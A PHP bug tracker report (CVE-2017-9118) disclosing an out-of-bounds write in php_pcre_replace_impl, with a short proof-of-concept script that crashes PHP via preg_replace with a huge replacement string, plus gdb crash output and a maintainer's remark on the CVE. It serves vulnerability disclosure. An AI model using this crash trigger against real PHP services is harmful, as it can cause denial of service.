Bug #74604 [Opn]: Out of bounds in php_pcre_replace_impl
Edit report at https://bugs.php.net/bug.php?id=74604&edit=1
ID: 74604
Updated by: cmb@php.net
Reported by: whitehat002 at hotmail dot com
Summary: Out of bounds in php_pcre_replace_impl
Status: Open
Type: Bug
Package: PCRE related
PHP Version: 7.1.5
Block user comment: N
Private report: N
CVE-ID: 2017-9118
New Comment:
If it's not a security issue, it shouldn't have a CVE.
Previous Comments:
------------------------------------------------------------------------
[2017-05-23 01:26:30] whitehat002 at hotmail dot com
Has anyone responded to this bug?
------------------------------------------------------------------------
[2017-05-17 09:12:15] whitehat002 at hotmail dot com
Description:
------------
It seems to be an out of bounds bug.
Test script:
---------------
<?php
ini_set('memory_limit',-1);
$str=str_repeat("A",0x7ffffffe);
preg_replace("/A/i",$str,"AAAAAAAAAAAAAAAAAA");
Expected result:
----------------
no crash
Actual result:
--------------
root@hackyzh-virtual-machine:~# gdb -q --args ./php-7.1.5/sapi/cli/php -n poc2.php
Reading symbols from /root/php-7.1.5/sapi/cli/php...done.
gdb-peda$ r
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x36dfdfb0 ('A' <repeats 200 times>...)
EBX: 0xb7200000
ECX: 0x0
EDX: 0x41 ('A')
ESI: 0x41 ('A')
EDI: 0xb6c0000d --> 0x0
EBP: 0xbfffbf98 --> 0xb7013100 ('A' <repeats 200 times>...)
ESP: 0xbfffbe90 --> 0xb7002060 ('A' <repeats 200 times>...)
EIP: 0x8106c7d (<php_pcre_replace_impl+941>: mov BYTE PTR [ebx],dl)
EFLAGS: 0x210293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8106c75 <php_pcre_replace_impl+933>:
jne 0x8106cb8 <php_pcre_replace_impl+1000>
0x8106c77 <php_pcre_replace_impl+935>: mov eax,DWORD PTR [ebp-0x24]
0x8106c7a <php_pcre_replace_impl+938>: movzx edx,BYTE PTR [eax]
=> 0x8106c7d <php_pcre_replace_impl+941>: mov BYTE PTR [ebx],dl
0x8106c7f <php_pcre_replace_impl+943>: lea edx,[eax+0x1]
0x8106c82 <php_pcre_replace_impl+946>: add ebx,0x1
0x8106c85 <php_pcre_replace_impl+949>: mov DWORD PTR [ebp-0x24],edx
0x8106c88 <php_pcre_replace_impl+952>: movzx esi,BYTE PTR [eax]
[------------------------------------stack-------------------------------------]
0000| 0xbfffbe90 --> 0xb7002060 ('A' <repeats 200 times>...)
0004| 0xbfffbe94 --> 0xb7068048 ('A' <repeats 200 times>...)
0008| 0xbfffbe98 --> 0x0
0012| 0xbfffbe9c --> 0x20 (' ')
0016| 0xbfffbea0 --> 0x0
0020| 0xbfffbea4 --> 0x0
0024| 0xbfffbea8 --> 0xbfffbeb0 --> 0x0
0028| 0xbfffbeac --> 0x3
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
php_pcre_replace_impl (pce=0x8bb1b30, subject_str=0xb7068038,
subject=0xb7068048 'A' <repeats 200 times>..., subject_len=0x20,
replace_val=0xb7013110, is_callable_replace=0x0, limit=0xffffffff,
replace_count=0xbfffc08c) at /root/php-7.1.5/ext/pcre/php_pcre.c:1317
1317 *walkbuf++ = *walk++;
gdb-peda$ x/s $ebx
0xb7200000: <Address 0xb7200000 out of bounds>
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=74604&edit=1
Thread (1 message)
- cmb@php.net
- Unknown Message
- cmb@php.net